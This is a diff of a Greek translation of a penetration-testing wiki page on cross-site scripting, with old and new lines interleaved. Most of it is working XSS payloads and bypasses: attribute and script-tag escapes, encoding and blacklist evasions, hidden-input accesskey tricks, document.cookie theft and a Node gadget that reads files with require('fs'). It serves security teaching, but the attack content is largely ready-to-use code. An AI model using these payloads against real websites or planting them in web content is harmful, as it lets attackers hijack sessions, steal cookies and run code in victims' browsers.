3. Αν **δεν μπορείτε να διαφύγετε από το χαρακτηριστικό** (`"` είναι κωδικοποιημένο ή διαγραμμένο), τότε ανάλογα με **ποιο χαρακτηριστικό** η τιμή σας αντανάκλαται **αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος** θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα γεγονός όπως `onclick=` θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν κάνετε κλικ. Ένα άλλο ενδιαφέρον **παράδειγμα** είναι το χαρακτηριστικό `href`, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο `javascript:` για να εκτελέσετε αυθαίρετο κώδικα: **`href="javascript:alert(1)"`**
4. Αν η είσοδός σας αντανάκλαται μέσα σε "**μη εκμεταλλεύσιμες ετικέτες**" θα μπορούσατε να δοκιμάσετε το κόλπο **`accesskey`** για να εκμεταλλευτείτε την ευπάθεια (θα χρειαστείτε κάποιο είδος κοινωνικής μηχανικής για να το εκμεταλλευτείτε): **`" accesskey="x" onclick="alert(1)" x="`**
4. Αν η είσοδός σας αντανάκλαται μέσα σε "**μη εκμεταλλεύσιμες ετικέτες**" θα μπορούσατε να προσπαθήσετε το κόλπο **`accesskey`** για να εκμεταλλευτείτε την ευπάθεια (θα χρειαστείτε κάποιο είδος κοινωνικής μηχανικής για να το εκμεταλλευτείτε): **`" accesskey="x" onclick="alert(1)" x="`**
Παράξενο παράδειγμα του Angular που εκτελεί XSS αν ελέγχετε ένα όνομα κλάσης:
```html
@ -70,7 +72,7 @@ debugging-client-side-js.md
Σε αυτή την περίπτωση, η είσοδός σας ανακλάται μεταξύ των **`<script> [...] </script>`** ετικετών μιας σελίδας HTML, μέσα σε ένα αρχείο `.js` ή μέσα σε ένα χαρακτηριστικό χρησιμοποιώντας το πρωτόκολλο **`javascript:`**:
- Αν ανακλάται μεταξύ των **`<script> [...] </script>`** ετικετών, ακόμα και αν η είσοδός σας είναι μέσα σε οποιοδήποτε είδος αποσπασμάτων, μπορείτε να προσπαθήσετε να εισάγετε `</script>` και να ξεφύγετε από αυτό το πλαίσιο. Αυτό λειτουργεί επειδή ο **περιηγητής θα αναλύσει πρώτα τις ετικέτες HTML** και στη συνέχεια το περιεχόμενο, επομένως, δεν θα παρατηρήσει ότι η εισαγόμενη ετικέτα `</script>` είναι μέσα στον κώδικα HTML.
- Αν ανακλάται **μέσα σε μια συμβολοσειρά JS** και το τελευταίο κόλπο δεν λειτουργεί, θα χρειαστεί να **βγείτε** από τη συμβολοσειρά, **εκτελέσετε** τον κώδικά σας και **ανακατασκευάσετε** τον κώδικα JS (αν υπάρχει κάποιο σφάλμα, δεν θα εκτελεστεί):
- Αν ανακλάται **μέσα σε μια συμβολοσειρά JS** και το τελευταίο κόλπο δεν λειτουργεί, θα χρειαστεί να **βγείτε** από τη συμβολοσειρά, να **εκτελέσετε** τον κώδικά σας και να **ανακατασκευάσετε** τον κώδικα JS (αν υπάρχει κάποιο σφάλμα, δεν θα εκτελεστεί):
- `'-alert(1)-'`
- `';-alert(1)//`
- `\';alert(1)//`
@ -92,15 +94,15 @@ js-hoisting.md
### Javascript Function
Πολλές ιστοσελίδες έχουν endpoints που **αποδέχονται ως παράμετρο το όνομα της συνάρτησης που θα εκτελεστεί**. Ένα κοινό παράδειγμα που μπορεί να δείτε είναι κάτι σαν: `?callback=callbackFunc`.
Πολλές ιστοσελίδες έχουν endpoints που **δέχονται ως παράμετρο το όνομα της συνάρτησης που θα εκτελεστεί**. Ένα κοινό παράδειγμα που μπορεί να δείτε είναι κάτι σαν: `?callback=callbackFunc`.
Ένας καλός τρόπος για να διαπιστώσετε αν κάτι που δίνεται απευθείας από τον χρήστη προσπαθεί να εκτελεστεί είναι **να τροποποιήσετε την τιμή της παραμέτρου** (για παράδειγμα σε 'Vulnerable') και να κοιτάξετε στην κονσόλα για σφάλματα όπως:
![](<../../images/image (711).png>)
Σε περίπτωση που είναι ευάλωτο, θα μπορούσατε να **προκαλέσετε μια ειδοποίηση** απλά στέλνοντας την τιμή: **`?callback=alert(1)`**. Ωστόσο, είναι πολύ κοινό αυτά τα endpoints να **επικυρώνουν το περιεχόμενο** για να επιτρέπουν μόνο γράμματα, αριθμούς, τελείες και κάτω παύλες (**`[\w\._]`**).
Σε περίπτωση που είναι ευάλωτο, θα μπορούσατε να **προκαλέσετε μια ειδοποίηση** απλά στέλνοντας την τιμή: **`?callback=alert(1)`**. Ωστόσο, είναι πολύ κοινό ότι αυτά τα endpoints θα **επικυρώνουν το περιεχόμενο** για να επιτρέπουν μόνο γράμματα, αριθμούς, τελείες και κάτω παύλες (**`[\w\._]`**).
Ωστόσο, ακόμη και με αυτόν τον περιορισμό, είναι ακόμα δυνατό να εκτελέσετε ορισμένες ενέργειες. Αυτό συμβαίνει επειδή μπορείτε να χρησιμοποιήσετε αυτούς τους έγκυρους χαρακτήρες για να **πρόσβαση σε οποιοδήποτε στοιχείο στο DOM**:
Ωστόσο, ακόμη και με αυτόν τον περιορισμό, είναι ακόμα δυνατό να εκτελέσετε κάποιες ενέργειες. Αυτό συμβαίνει επειδή μπορείτε να χρησιμοποιήσετε αυτούς τους έγκυρους χαρακτήρες για να **πρόσβαση σε οποιοδήποτε στοιχείο στο DOM**:
![](<../../images/image (747).png>)
@ -116,7 +118,7 @@ parentElement
Ωστόσο, συνήθως τα endpoints που εκτελούν τη δηλωμένη συνάρτηση είναι endpoints χωρίς πολύ ενδιαφέρον DOM, **άλλες σελίδες στην ίδια προέλευση** θα έχουν ένα **πιο ενδιαφέρον DOM** για να εκτελέσουν περισσότερες ενέργειες.
Επομένως, προκειμένου να **καταχραστείτε αυτήν την ευπάθεια σε ένα διαφορετικό DOM** αναπτύχθηκε η εκμετάλλευση **Same Origin Method Execution (SOME)**:
Επομένως, προκειμένου να **καταχραστείτε αυτήν την ευπάθεια σε διαφορετικό DOM** αναπτύχθηκε η εκμετάλλευση **Same Origin Method Execution (SOME)**:
{{#ref}}
some-same-origin-method-execution.md
@ -153,7 +155,7 @@ server-side-xss-dynamic-pdf.md
Για αυτές τις περιπτώσεις, επίσης **κρατήστε στο μυαλό σας** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
_**Σημείωση: Ένα σχόλιο HTML μπορεί να κλείσει χρησιμοποιώντας\*\***\***\*`-->`\*\***\***\*ή \*\***`--!>`\*\*_
Σε αυτή την περίπτωση και αν δεν χρησιμοποιούνται μαύρη/λευκή λίστα, θα μπορούσατε να χρησιμοποιήσετε payloads όπως:
Σε αυτή την περίπτωση και αν δεν χρησιμοποιούνται μαύρες/λευκές λίστες, θα μπορούσατε να χρησιμοποιήσετε payloads όπως:
```html
<script>
alert(1)
@ -162,7 +164,7 @@ alert(1)
<svg onload=alert('XSS')>
```
Αλλά, αν χρησιμοποιείται μαύρη/λευκή λίστα ετικετών/χαρακτηριστικών, θα χρειαστεί να **δοκιμάσετε ποια ετικέτες** μπορείτε να δημιουργήσετε.\
Μόλις έχετε **εντοπίσει ποιες ετικέτες επιτρέπονται**, θα χρειαστεί να **δοκιμάσετε χαρακτηριστικά/γεγονότα** μέσα στις βρεθείσες έγκυρες ετικέτες για να δείτε πώς μπορείτε να επιτεθείτε στο πλαίσιο.
Μόλις έχετε **εντοπίσει ποιες ετικέτες επιτρέπονται**, θα χρειαστεί να **δοκιμάσετε χαρακτηριστικά/γεγονότα** μέσα στις βρεθείσες έγκυρες ετικέτες για να δείτε πώς μπορείτε να επιτεθείτε στο περιβάλλον.
### Δοκιμή ετικετών/γεγονότων
@ -170,7 +172,7 @@ alert(1)
### Προσαρμοσμένες ετικέτες
Αν δεν βρείτε καμία έγκυρη ετικέτα HTML, μπορείτε να προσπαθήσετε να **δημιουργήσετε μια προσαρμοσμένη ετικέτα** και να εκτελέσετε κώδικα JS με το χαρακτηριστικό `onfocus`. Στο αίτημα XSS, πρέπει να τελειώσετε το URL με `#` για να κάνετε τη σελίδα **να εστιάσει σε αυτό το αντικείμενο** και να **εκτελέσει** τον κώδικα:
Αν δεν βρείτε καμία έγκυρη ετικέτα HTML, μπορείτε να προσπαθήσετε να **δημιουργήσετε μια προσαρμοσμένη ετικέτα** και να εκτελέσετε κώδικα JS με το χαρακτηριστικό `onfocus`. Στο αίτημα XSS, πρέπει να τελειώσετε το URL με `#` για να κάνετε τη σελίδα **να εστιάζει σε αυτό το αντικείμενο** και να **εκτελεί** τον κώδικα:
```
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```
@ -228,7 +230,7 @@ onerror=alert`1`
```
### Length bypass (small XSSs)
> [!NOTE] > **Περισσότερα μικρά XSS για διάφορα περιβάλλοντα** payload [**μπορείτε να τα βρείτε εδώ**](https://github.com/terjanq/Tiny-XSS-Payloads) και [**εδώ**](https://tinyxss.terjanq.me).
> [!NOTE] > **Περισσότερα μικρά XSS για διάφορα περιβάλλοντα** payload [**μπορείτε να βρείτε εδώ**](https://github.com/terjanq/Tiny-XSS-Payloads) και [**εδώ**](https://tinyxss.terjanq.me).
```html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//.pw>
@ -249,7 +251,7 @@ To check in which characters are decomposed check [here](https://www.compart.com
### Inside the tag/escaping from attribute value
Αν είστε **μέσα σε μια ετικέτα HTML**, το πρώτο πράγμα που μπορείτε να προσπαθήσετε είναι να **ξεφύγετε** από την ετικέτα και να χρησιμοποιήσετε μερικές από τις τεχνικές που αναφέρονται στην [προηγούμενη ενότητα](#injecting-inside-raw-html) για να εκτελέσετε κώδικα JS.\
Αν βρίσκεστε **μέσα σε μια ετικέτα HTML**, το πρώτο πράγμα που μπορείτε να προσπαθήσετε είναι να **ξεφύγετε** από την ετικέτα και να χρησιμοποιήσετε μερικές από τις τεχνικές που αναφέρονται στην [προηγούμενη ενότητα](#injecting-inside-raw-html) για να εκτελέσετε κώδικα JS.\
Αν **δεν μπορείτε να ξεφύγετε από την ετικέτα**, μπορείτε να δημιουργήσετε νέα χαρακτηριστικά μέσα στην ετικέτα για να προσπαθήσετε να εκτελέσετε κώδικα JS, για παράδειγμα χρησιμοποιώντας κάποιο payload όπως (_σημειώστε ότι σε αυτό το παράδειγμα χρησιμοποιούνται διπλά εισαγωγικά για να ξεφύγετε από το χαρακτηριστικό, δεν θα τα χρειαστείτε αν η είσοδός σας ανακλάται απευθείας μέσα στην ετικέτα_):
```bash
" autofocus onfocus=alert(document.domain) x="
@ -267,7 +269,7 @@ To check in which characters are decomposed check [here](https://www.compart.com
```
### Μέσα στο χαρακτηριστικό
Ακόμα και αν **δεν μπορείτε να ξεφύγετε από το χαρακτηριστικό** (`"` κωδικοποιείται ή διαγράφεται), ανάλογα με **ποιο χαρακτηριστικό** αντανακλάται η τιμή σας **αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος** θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα γεγονός όπως το `onclick=` θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν κάνετε κλικ.\
Ακόμα και αν **δεν μπορείτε να ξεφύγετε από το χαρακτηριστικό** (`"` κωδικοποιείται ή διαγράφεται), ανάλογα με **ποιο χαρακτηριστικό** αντικατοπτρίζεται η τιμή σας **αν ελέγχετε όλη την τιμή ή μόνο ένα μέρος** θα μπορείτε να το εκμεταλλευτείτε. Για **παράδειγμα**, αν ελέγχετε ένα γεγονός όπως το `onclick=` θα μπορείτε να το κάνετε να εκτελεί αυθαίρετο κώδικα όταν κάνετε κλικ σε αυτό.\
Ένα άλλο ενδιαφέρον **παράδειγμα** είναι το χαρακτηριστικό `href`, όπου μπορείτε να χρησιμοποιήσετε το πρωτόκολλο `javascript:` για να εκτελέσετε αυθαίρετο κώδικα: **`href="javascript:alert(1)"`**
**Παράκαμψη μέσα σε γεγονός χρησιμοποιώντας HTML κωδικοποίηση/URL κωδικοποίηση**
@ -325,7 +327,7 @@ data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc
```
**Μέρη όπου μπορείτε να εισάγετε αυτά τα πρωτόκολλα**
**Γενικά**, το `javascript:` πρωτόκολλο μπορεί να **χρησιμοποιηθεί σε οποιαδήποτε ετικέτα που δέχεται το χαρακτηριστικό `href`** και σε **τις περισσότερες** από τις ετικέτες που δέχονται το **χαρακτηριστικό `src`** (αλλά όχι `<img`)
**Γενικά**, το `javascript:` πρωτόκολλο μπορεί να **χρησιμοποιηθεί σε οποιαδήποτε ετικέτα που δέχεται το χαρακτηριστικό `href`** και σε **πλειονότητα** των ετικετών που δέχονται το **χαρακτηριστικό `src`** (αλλά όχι `<img`)
```html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
@ -351,17 +353,17 @@ _**Σε αυτή την περίπτωση, η κωδικοποίηση HTML κ
```javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```
Επιπλέον, υπάρχει ένα άλλο **ωραίο κόλπο** για αυτές τις περιπτώσεις: **Ακόμα και αν η είσοδός σας μέσα στο `javascript:...` είναι κωδικοποιημένη URL, θα αποκωδικοποιηθεί πριν εκτελεστεί.** Έτσι, αν χρειαστεί να **ξεφύγετε** από τη **σειρά** χρησιμοποιώντας ένα **μονό απόσπασμα** και βλέπετε ότι **κωδικοποιείται URL**, θυμηθείτε ότι **δεν έχει σημασία,** θα **ερμηνευτεί** ως **μονό απόσπασμα** κατά τη διάρκεια της **χρόνου εκτέλεσης.**
Επιπλέον, υπάρχει ένα άλλο **ωραίο κόλπο** για αυτές τις περιπτώσεις: **Ακόμα και αν η είσοδός σας μέσα στο `javascript:...` είναι κωδικοποιημένη URL, θα αποκωδικοποιηθεί πριν εκτελεστεί.** Έτσι, αν χρειάζεστε να **ξεφύγετε** από τη **σειρά** χρησιμοποιώντας ένα **μονό απόσπασμα** και βλέπετε ότι **κωδικοποιείται URL**, θυμηθείτε ότι **δεν έχει σημασία,** θα **ερμηνευτεί** ως **μονό απόσπασμα** κατά τη διάρκεια του **χρόνου εκτέλεσης.**
```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```
Σημειώστε ότι αν προσπαθήσετε να **χρησιμοποιήσετε και τα δύο** `URLencode + HTMLencode` με οποιαδήποτε σειρά για να κωδικοποιήσετε το **payload**, **δεν θα** **λειτουργήσει**, αλλά μπορείτε να **τα αναμίξετε μέσα στο payload**.
Σημειώστε ότι αν προσπαθήσετε να **χρησιμοποιήσετε και τα δύο** `URLencode + HTMLencode` με οποιαδήποτε σειρά για να κωδικοποιήσετε το **payload** δεν θα **λειτουργήσει**, αλλά μπορείτε να **τα αναμίξετε μέσα στο payload**.
**Χρησιμοποιώντας Hex και Octal κωδικοποίηση με `javascript:`**
Μπορείτε να χρησιμοποιήσετε **Hex** και **Octal κωδικοποίηση** μέσα στο `src` χαρακτηριστικό του `iframe` (τουλάχιστον) για να δηλώσετε **HTML tags για να εκτελέσετε JS**:
Μπορείτε να χρησιμοποιήσετε **Hex** και **Octal κωδικοποίηση** μέσα στο `src` attribute του `iframe` (τουλάχιστον) για να δηλώσετε **HTML tags για να εκτελέσετε JS**:
```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
@ -373,11 +375,11 @@ _**Σε αυτή την περίπτωση, η κωδικοποίηση HTML κ
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
```
### Αντεστραμμένο tab nabbing
### Αντιστροφή tab nabbing
```javascript
<a target="_blank" rel="opener"
```
Αν μπορείτε να εισάγετε οποιοδήποτε URL σε μια αυθαίρετη **`<a href=`** ετικέτα που περιέχει τα χαρακτηριστικά **`target="_blank" και rel="opener"`**, ελέγξτε τη **παρακάτω σελίδα για να εκμεταλλευτείτε αυτή τη συμπεριφορά**:
Αν μπορείτε να εισάγετε οποιοδήποτε URL σε μια αυθαίρετη **`<a href=`** ετικέτα που περιέχει τα χαρακτηριστικά **`target="_blank" και rel="opener"`**, ελέγξτε την **παρακάτω σελίδα για να εκμεταλλευτείτε αυτή τη συμπεριφορά**:
{{#ref}}
../reverse-tab-nabbing.md
@ -401,9 +403,9 @@ Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B
```
### XSS σε "Μη εκμεταλλεύσιμες ετικέτες" (κρυφή είσοδος, σύνδεσμος, κανονική, μετα)
### XSS σε "Μη εκμεταλλεύσιμες ετικέτες" (κρυφή είσοδος, σύνδεσμος, canonical, meta)
Από [**εδώ**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **είναι τώρα δυνατό να εκμεταλλευτούμε τις κρυφές εισόδους με:**
Από [**εδώ**](https://portswigger.net/research/exploiting-xss-in-hidden-inputs-and-meta-tags) **είναι πλέον δυνατό να εκμεταλλευτείτε τις κρυφές εισόδους με:**
```html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />
@ -422,7 +424,7 @@ onbeforetoggle="alert(2)" />
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>
```
Από [**εδώ**](https://portswigger.net/research/xss-in-hidden-input-fields): Μπορείτε να εκτελέσετε ένα **XSS payload μέσα σε ένα κρυφό χαρακτηριστικό**, εφόσον μπορείτε να **πεισθείτε** τον **θύμα** να πατήσει τον **συνδυασμό πλήκτρων**. Στο Firefox Windows/Linux ο συνδυασμός πλήκτρων είναι **ALT+SHIFT+X** και στο OS X είναι **CTRL+ALT+X**. Μπορείτε να καθορίσετε έναν διαφορετικό συνδυασμό πλήκτρων χρησιμοποιώντας ένα διαφορετικό πλήκτρο στο χαρακτηριστικό access key. Ακολουθεί ο φορέας:
Από [**εδώ**](https://portswigger.net/research/xss-in-hidden-input-fields): Μπορείτε να εκτελέσετε ένα **XSS payload μέσα σε ένα κρυφό χαρακτηριστικό**, εφόσον μπορείτε να **πεισθείτε** τον **θύμα** να πατήσει τον **συνδυασμό πλήκτρων**. Στο Firefox Windows/Linux ο συνδυασμός πλήκτρων είναι **ALT+SHIFT+X** και στο OS X είναι **CTRL+ALT+X**. Μπορείτε να καθορίσετε έναν διαφορετικό συνδυασμό πλήκτρων χρησιμοποιώντας ένα διαφορετικό πλήκτρο στο χαρακτηριστικό access key. Εδώ είναι ο φορέας:
```html
<input type="hidden" accesskey="X" onclick="alert(1)">
```
@ -433,7 +435,7 @@ onbeforetoggle="alert(2)" />
Διάφορα κόλπα με τη χρήση διαφορετικής κωδικοποίησης έχουν ήδη αποκαλυφθεί σε αυτή την ενότητα. Πήγαινε **πίσω για να μάθεις πού μπορείς να χρησιμοποιήσεις:**
- **HTML κωδικοποίηση (HTML tags)**
- **Unicode κωδικοποίηση (μπορεί να είναι έγκυρος κώδικας JS):** `\u0061lert(1)`
- **Unicode κωδικοποίηση (μπορεί να είναι έγκυρος κωδικός JS):** `\u0061lert(1)`
- **URL κωδικοποίηση**
- **Hex και Octal κωδικοποίηση**
- **κωδικοποίηση δεδομένων**
@ -442,7 +444,7 @@ onbeforetoggle="alert(2)" />
Διάβασε τις [Παράκαμψεις Μαύρης Λίστας της προηγούμενης ενότητας](#blacklist-bypasses).
**Παράκαμψη για κώδικα JavaScript**
**Παράκαμψη για κωδικό JavaScript**
Διάβασε την [παράκαμψη μαύρης λίστας JavaScript της επόμενης ενότητας](#javascript-bypass-blacklists-techniques).
@ -466,13 +468,13 @@ onbeforetoggle="alert(2)" />
Αυτό το κόλπο ελήφθη από [https://medium.com/@skavans\_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703](https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703)
## Εισαγωγή μέσα στον κώδικα JavaScript
## Εισαγωγή μέσα στον κωδικό JavaScript
Σε αυτές τις περιπτώσεις η **είσοδός σου** θα **αντανακλάται μέσα στον κώδικα JS** ενός αρχείου `.js` ή μεταξύ των ετικετών `<script>...</script>` ή μεταξύ HTML γεγονότων που μπορούν να εκτελέσουν κώδικα JS ή μεταξύ attributes που δέχονται το πρωτόκολλο `javascript:`.
Σε αυτές τις περιπτώσεις η **είσοδός σου** θα **αντανακλάται μέσα στον κωδικό JS** ενός αρχείου `.js` ή μεταξύ των ετικετών `<script>...</script>` ή μεταξύ HTML γεγονότων που μπορούν να εκτελέσουν κωδικό JS ή μεταξύ attributes που δέχονται το πρωτόκολλο `javascript:`.
### Διαφυγή ετικέτας \<script>
Αν ο κώδικάς σου εισάγεται μέσα σε `<script> [...] var input = 'reflected data' [...] </script>` μπορείς εύκολα να **διαφύγεις κλείνοντας την ετικέτα `<script>`**:
Αν ο κωδικός σου εισάγεται μέσα σε `<script> [...] var input = 'reflected data' [...] </script>` μπορείς εύκολα να **διαφύγεις κλείνοντας την ετικέτα `<script>`**:
```javascript
</script><img src=1 onerror=alert(document.domain)>
```
@ -480,7 +482,7 @@ onbeforetoggle="alert(2)" />
### Μέσα στον κώδικα JS
Εάν τα `<>` απολυμαίνονται, μπορείτε ακόμα να **διαφύγετε τη συμβολοσειρά** όπου η είσοδός σας είναι **τοποθετημένη** και να **εκτελέσετε αυθαίρετη JS**. Είναι σημαντικό να **διορθώσετε τη σύνταξη JS**, γιατί αν υπάρχουν σφάλματα, ο κώδικας JS δεν θα εκτελεστεί:
Εάν τα `<>` απολυμαίνονται, μπορείτε ακόμα να **διαφύγετε τη συμβολοσειρά** όπου βρίσκεται η είσοδός σας και να **εκτελέσετε αυθαίρετη JS**. Είναι σημαντικό να **διορθώσετε τη σύνταξη JS**, γιατί αν υπάρχουν σφάλματα, ο κώδικας JS δεν θα εκτελεστεί:
```
'-alert(document.domain)-'
';alert(document.domain)//
@ -489,7 +491,7 @@ onbeforetoggle="alert(2)" />
### Template literals \`\`
Για να κατασκευάσετε **strings** εκτός από τα μονά και διπλά εισαγωγικά, η JS δέχεται επίσης **backticks** **` `` `**. Αυτό είναι γνωστό ως template literals καθώς επιτρέπουν την **ενσωμάτωση εκφράσεων JS** χρησιμοποιώντας τη σύνταξη `${ ... }`.\
Επομένως, αν διαπιστώσετε ότι η είσοδός σας **αντικατοπτρίζεται** μέσα σε μια JS string που χρησιμοποιεί backticks, μπορείτε να εκμεταλλευτείτε τη σύνταξη `${ ... }` για να εκτελέσετε **τυχαίο JS κώδικα**:
Επομένως, αν διαπιστώσετε ότι η είσοδός σας **αντικατοπτρίζεται** μέσα σε μια JS συμβολοσειρά που χρησιμοποιεί backticks, μπορείτε να εκμεταλλευτείτε τη σύνταξη `${ ... }` για να εκτελέσετε **τυχαίο JS κώδικα**:
Αυτό μπορεί να **εκμεταλλευτεί** χρησιμοποιώντας:
```javascript
@ -510,7 +512,7 @@ loop``
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
```
### Unicode Encode JS execution
### Unicode Encode JS εκτέλεση
```javascript
alert(1)
alert(1)
@ -677,7 +679,7 @@ try{throw onerror=alert}catch{throw 1}
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
**Αυθαίρετη κλήση συνάρτησης (alert)**
**Κλήση αυθαίρετης συνάρτησης (alert)**
```javascript
//Eval like functions
eval('ale'+'rt(1)')
@ -739,7 +741,7 @@ top[8680439..toString(30)](1)
```
## **Ευπάθειες DOM**
Υπάρχει **κώδικας JS** που χρησιμοποιεί **μη ασφαλή δεδομένα που ελέγχονται από έναν επιτιθέμενο** όπως το `location.href`. Ένας επιτιθέμενος θα μπορούσε να εκμεταλλευτεί αυτό για να εκτελέσει αυθαίρετο κώδικα JS.\
Υπάρχει **κώδικας JS** που χρησιμοποιεί **μη ασφαλή δεδομένα που ελέγχονται από έναν επιτιθέμενο** όπως το `location.href`. Ένας επιτιθέμενος θα μπορούσε να το εκμεταλλευτεί για να εκτελέσει αυθαίρετο κώδικα JS.\
**Λόγω της επέκτασης της εξήγησης των** [**ευπαθειών DOM, μεταφέρθηκε σε αυτή τη σελίδα**](dom-xss.md)**:**
{{#ref}}
@ -747,7 +749,7 @@ dom-xss.md
{{#endref}}
Εκεί θα βρείτε μια λεπτομερή **εξήγηση για το τι είναι οι ευπάθειες DOM, πώς προκαλούνται και πώς να τις εκμεταλλευτείτε**.\
Επίσης, μην ξεχάσετε ότι **στο τέλος της αναφερόμενης ανάρτησης** μπορείτε να βρείτε μια εξήγηση σχετικά με [**επιθέσεις DOM Clobbering**](dom-xss.md#dom-clobbering).
Επίσης, μην ξεχάσετε ότι **στο τέλος της αναφερόμενης ανάρτησης** μπορείτε να βρείτε μια εξήγηση για [**επιθέσεις DOM Clobbering**](dom-xss.md#dom-clobbering).
### Αναβάθμιση Self-XSS
@ -784,11 +786,11 @@ dom-xss.md
### Ruby-On-Rails bypass
Λόγω της **RoR μαζικής ανάθεσης** εισάγονται αποσπάσματα στο HTML και στη συνέχεια παρακάμπτεται ο περιορισμός αποσπασμάτων και μπορούν να προστεθούν επιπλέον πεδία (onfocus) μέσα στην ετικέτα.\
Παράδειγμα φόρμας ([from this report](https://hackerone.com/reports/709336)), αν στείλετε το payload:
Παράδειγμα φόρμας ([από αυτή την αναφορά](https://hackerone.com/reports/709336)), αν στείλετε το payload:
```
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```
Το ζεύγος "Key","Value" θα αναπαραχθεί όπως εξής:
Το ζεύγος "Key","Value" θα αναπαραχθεί όπως αυτό:
```
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```
@ -826,7 +828,7 @@ document['default'+'View'][`\u0061lert`](3)
```
### XSS με έγχυση κεφαλίδων σε απόκριση 302
Αν διαπιστώσετε ότι μπορείτε να **εγχύσετε κεφαλίδες σε μια απόκριση 302 Redirect**, μπορείτε να προσπαθήσετε να **αναγκάσετε τον περιηγητή να εκτελέσει αυθαίρετο JavaScript**. Αυτό **δεν είναι απλό**, καθώς οι σύγχρονοι περιηγητές δεν ερμηνεύουν το σώμα της απόκρισης HTTP αν ο κωδικός κατάστασης της απόκρισης HTTP είναι 302, οπότε απλώς ένα payload cross-site scripting είναι άχρηστο.
Αν διαπιστώσετε ότι μπορείτε να **εγχύσετε κεφαλίδες σε μια απόκριση 302 Redirect**, μπορείτε να προσπαθήσετε να **αναγκάσετε τον περιηγητή να εκτελέσει αυθαίρετο JavaScript**. Αυτό **δεν είναι απλό** καθώς οι σύγχρονοι περιηγητές δεν ερμηνεύουν το σώμα της απόκρισης HTTP αν ο κωδικός κατάστασης της απόκρισης HTTP είναι 302, οπότε απλώς ένα payload cross-site scripting είναι άχρηστο.
Στο [**αυτό το αναφορά**](https://www.gremwell.com/firefox-xss-302) και [**σε αυτό**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) μπορείτε να διαβάσετε πώς μπορείτε να δοκιμάσετε διάφορα πρωτόκολλα μέσα στην κεφαλίδα Location και να δείτε αν κάποιο από αυτά επιτρέπει στον περιηγητή να επιθεωρήσει και να εκτελέσει το payload XSS μέσα στο σώμα.\
Προηγούμενα γνωστά πρωτόκολλα: `mailto://`, `//x:1/`, `ws://`, `wss://`, _κενή κεφαλίδα Location_, `resource://`.
@ -869,7 +871,9 @@ const char* const kSupportedJavascriptTypes[] = {
```html
<script type="???"></script>
```
- **module** (προεπιλογή, τίποτα να εξηγήσω)
Η απάντηση είναι:
- **module** (προεπιλογή, δεν χρειάζεται εξήγηση)
- [**webbundle**](https://web.dev/web-bundles/): Το Web Bundles είναι μια δυνατότητα που μπορείτε να συσκευάσετε μια σειρά δεδομένων (HTML, CSS, JS…) μαζί σε ένα **`.wbn`** αρχείο.
```html
<script type="webbundle">
@ -924,7 +928,7 @@ import { partition } from "lodash"
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? όχι στη λίστα αλλά νομίζω ότι το είδα αυτό σε ένα CTF)
- text/plain (?? όχι στη λίστα αλλά νομίζω ότι το είδα σε ένα CTF)
- application/rss+xml (off)
- application/atom+xml (off)
@ -944,7 +948,7 @@ import { partition } from "lodash"
Όταν χρησιμοποιείται κάτι όπως **`"some {{template}} data".replace("{{template}}", <user_input>)`**, ο επιτιθέμενος θα μπορούσε να χρησιμοποιήσει [**ειδικές αντικαταστάσεις συμβολοσειρών**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) για να προσπαθήσει να παρακάμψει κάποιες προστασίες: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
Για παράδειγμα, σε [**αυτή την αναφορά**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), αυτό χρησιμοποιήθηκε για να **διαφύγει μια συμβολοσειρά JSON** μέσα σε ένα σενάριο και να εκτελέσει αυθαίρετο κώδικα.
Για παράδειγμα, σε [**αυτή την αναφορά**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), αυτό χρησιμοποιήθηκε για να **ξεφύγει μια συμβολοσειρά JSON** μέσα σε ένα script και να εκτελέσει αυθαίρετο κώδικα.
### Chrome Cache to XSS
@ -1009,7 +1013,7 @@ return arguments.callee.caller.arguments[1]("fs").readFileSync(
)
})()
```
